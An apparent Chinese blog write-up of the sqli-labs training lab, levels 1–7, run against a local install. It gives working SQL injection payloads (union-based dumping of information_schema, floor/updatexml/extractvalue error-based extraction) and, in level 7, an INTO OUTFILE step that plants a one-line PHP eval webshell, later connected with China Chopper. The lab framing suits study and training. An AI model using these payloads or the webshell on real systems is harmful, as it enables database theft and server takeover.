前言
在学习完php的基本语言和mysql增删查改语句后,我们已经初步具备了靶场练习的能力,让我们先从sqli-labs开始练习SQL注入。
ps.整理了关于sqli-labs靶场的博客,将分散的几篇整合了起来。
关于SQL注入
在练习靶场之前,我们首先要了解什么是SQL注入。SQL注入常常发生在通过网页获取用户输入的数据并将其插入MySQL数据库中,黑客通过把SQL命令插入到域名、web表单等手段达到欺骗服务器的目的,因此网站都会对用户输入的数据进行过滤来进行保护。
而在练习靶场中,我们就需要通过SQL注入的方式获得数据库中的数据,接下来我们来具体分析sqli-labs靶场中的第一关来深刻认识SQL注入。
less1-4
首先进入less-1的界面,我们可以看到一行字:
- Please input the ID as parameter with numeric value
那么我们就按照这句话的意思:请输入ID作为带数值的参数,在域名中输入一个ID:http://127.0.0.1/Less-1/?id=1
接着按下回车后我们可以看到页面中出现了一对账号密码:
而根据提示(GET-Error based-Single quotes-String)可以知道,这道关卡是要利用源码中基于单引号的错误来进行解决,那么我们就尝试在域名结尾加上一个'
http://127.0.0.1/Less-1/?id=1'
回车后我们就可以发现网站报错了,如果没有报错的话,可以参考下面的链接关闭php的引号保护:
关于Sqli-labs单引号不报错的问题
而如果报错的话,我们会看到以下这段文字:
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1
那么为什么会出现这一段文字呢,我们借助文件的源码进行分析:
1 | if(isset($_GET['id'])) |
通过分析以上部分源码,我们可以发现,当你输入一个id时,这个文件得到了一个id,if函数执行true下的代码段,将本次查询记录到result的txt文件中,并从数据库中查询,显示信息。因此当我们输入?id=1时网页能够返回账号密码。而当我们输入?id=1’时,我们可以发现,第11行代码得到id为1’后,即把$id替换为1’后,代码中出现了三个单引号,这就将导致单引号无法正确对应,引起报错。
既然多输入了一个单引号,我们就要想办法把多余出来的那个单引号排除掉,在SQL注入中,最常用的方法便是注释,我们在域名最后添加上注释符:
1 | http://127.0.0.1/Less-1/?id=1%27--+ |
或者我们可以将–+替换为#(%23)
这样我们发现,回车后的页面重新显示正常,这时我们可以进行测试判断此处是否有注入点。我们可以使用and 1=1
和and 1=2
进行判断,其中1=1
表示恒为真,1=2
表示恒为假。通过下两图我们可以发现两者显示页面不同,说明在此处存在注入点:
既然存在注入点,我们就要想办法在此处获取我们需要的数据。由于第11行这句代码本身就是select语句,因此我们在进行查询时需要运用到union语句来合并两个select语句的结果。不过要注意,使用union语句的先决条件是语句内部的SELECT语句必须拥有相同数量的列,因此我们需要先获取表格中的字段数。
使用order by语句进行字段数查询,当我们测试到order by 4时,发现文档页面出现了以下的提示:
- Unknown column ‘4’ in ‘order clause’
无法识别第4列,这就说明表格中只有3列,我们就可以运用union语句来进行注入。首先我们将id改为-1,接着注入以下代码来获取显示页面对应的字段:
1 | union select 1,2,3 |
可以发现账户与密码两列对应的字段数为2和3,那么在下述的操作中,我们就可以将union语句中的2或3替换成新的select语句来获取我们想要的信息,例如我们可以将上述域名中的2替换为下列代码来查询全部数据库的名称:
1 | (select group_concat(schema_name) from information_schema.schemata) |
或者使用将2替换为database()查询当前数据库的名称
这样我们就得到了我们要查找的数据库的名称,我们知道,数据存在于数据表里,而数据表又存在于数据库里,所以接下来我们需要获得数据库内所有表的名称。我们可以将原来2的位置继续替换成下列代码进行查询:
1 | select group_concat(table_name) from information_schema.tables where table_schema='数据库名' |
取得了表名之后我们就可以想办法获得其中的数据了,数据储存在数据表的列当中,我们需要继续获得列名,这里我们获取users表中的列名,同样替换原来2的位置:
1 | select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' |
做到这里,我们就可以愉快的获取到我们想要的信息了
1 | select group_concat(列名) from 数据库名.数据表名 |
less-2是数字型注入,less-3是单引号括号闭合注入,less-4是双引号括号闭合注入。z这几关的考点是联合注入。
less5-6
方法1
进入第五个靶场,在我们输入id之后,我们会发现一切都变了,屏幕上只剩下一句“You are in……..”和在屏幕前一脸懵的我们。遇到这种情况先不要惊慌,还记得提示内容依然指向了单引号,既然如此,我们依然在域名最后先加上一个单引号。
回车来了,报错就有了。这是一段与less-1完全一致的报错,加上注释后回显恢复正常,再用and 1=1和and 1=2检验后可以确定这里存在注入点。既然存在注入点,那就有解开它的方法。但是显然,不管我们怎样更改id的值,得到的永远只有那句“You are in……..”。
显然前四关使用union联合查询的方法在这关不起作用。那么我们就得换个思路了,提示指向了双查询注入,那么我们就将目光放到双查询注入上。
双查询注入原理浅析
我们可以先通过上面的网址简单了解双查询注入的运行原理,了解之后我们将这段floor()报错的语句摘取出来:
1 | and (select 1 from (select count(*),concat((查询语句),floor (rand(0)*2))x from information_schema.tables group by x)a) |
这段代码就是我们解开问题的关键所在,将这段代码中的查询语句改为database()并补入域名之中,可以发现报错已经回显了当前所在的数据库名:
这时我们也许会有疑问了,为什么数据库的名字变成了“security1”呢?其实这不是因为数据库的名字变了,而是这个“1”为floor()报错语句中输出的一部分,无论输出什么都会出现这个“1”,因此数据库的实际名称仍然为“security”。
既然问题解决了,那么就进入了愉快的爆库流程了,但是当我们在获取表中的数据时,出现了这么一行:
- Subquery returns more than 1 row
我们页面的信息超过了一行,在我们使用了group_concat函数的情况下显示这个报错说明了这里的字符长度超过了64位。这种情况下,我们应该使用limit数来进行一个个输出:
1 | select concat(列名) from 数据库名.数据表名 limit 0,1 |
方法2
用完floor()报错后,我就在想有没有其他的报错方法也能达到相同的效果呢,结果还真有:updatexml(1,concat(0x7e, 查询语句,0x7e),1)
或者 extractvalue(1,concat(0x7e,查询语句,0x7e))
这两句代码的具体语法可以参考下面这个链接的教程:
方法2中的报错注入
这里简单介绍下这两句代码的报错原理,这两句代码的第二个参数需要设置Xpath格式的字符串,而“0x7e”,即“~”开头不符合其语法,concat()函数为字符串连接函数不符合规则,导致代码中括号内的结果以错误的形式报出,达到目的。
而这两句代码的字符串限制为32位,因此在进行爆表流程时,我们也应该使用limit函数将数据一行一行显示出来,达到同样效果。
less-6是双引号闭合,这两关考的是报错注入。
less-7
输入id后,我们发现这次的返回文字多了一段“Use outfile……”,那么结合提示我们就可以判断出这题需要我们通过写入文件并注入一句话木马来对网页实现控制。
那么首先,我们也要先找到注入点。试试单引号,双引号,单引号加括号等多种形式,我们找到了答案为单引号加上两个括号。接下来,我们开始进行注入。
首先要注意的是,我们在进行outfile文件注入的时候必须要有root权限,而且要知道网站绝对路径的地址。不过由于这个靶场是我们自己搭的,因此很容易可以满足这些条件,当然,我们也可在之前的靶场中使用@@datadir
指令来获得数据库的路径:
好有了绝对路径,直接动手,我们使用这段代码:
1 | select ... into outfile "绝对路径" |
这段代码可以将select的内容注入进绝对路径下的一个文件,我们这里注入到一个7.php的文件下,如果没有这个文件会自动创建一个同名文件,但是这条代码不会覆盖原文件,因此写入时最好一次成功,如果要再次写入则需要更换文件名。
要特别注意的是,在复制绝对路径后,我们需要在“\”后再加上一个“\”或者将“\”改成“/”,例如:
1 | D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\7.php |
有代码基础的一定知道,“\”代表着转义字符,而\\
才是意味着字符“\”。而“\”的路径是windows系统所独有的表达方式,但“/”表达的路径是可以被windows、linux和mac等操作系统共同识别的,因此更推荐第二种表达路径的方式。
接下来我们要注入一句话木马了,php格式的一句话木马为:
1 | <?php @eval($_POST['chopper']);?> |
其中的chopper是值,前面的POST(或者REQUEST等)用来获取这个值,这个值之后要用到,可自定义。这样我们就可以使用工具(菜刀,webshell等)进行访问了。
注入之后我们发现页面虽然报错,但是浏览本地文件,发现了这个7.php已经成功注入进文件夹中了,并且代码也已经被成功写入:
注入成功,我们就可以掏出我们的工具了,这里使用菜刀。
如上,连接成功!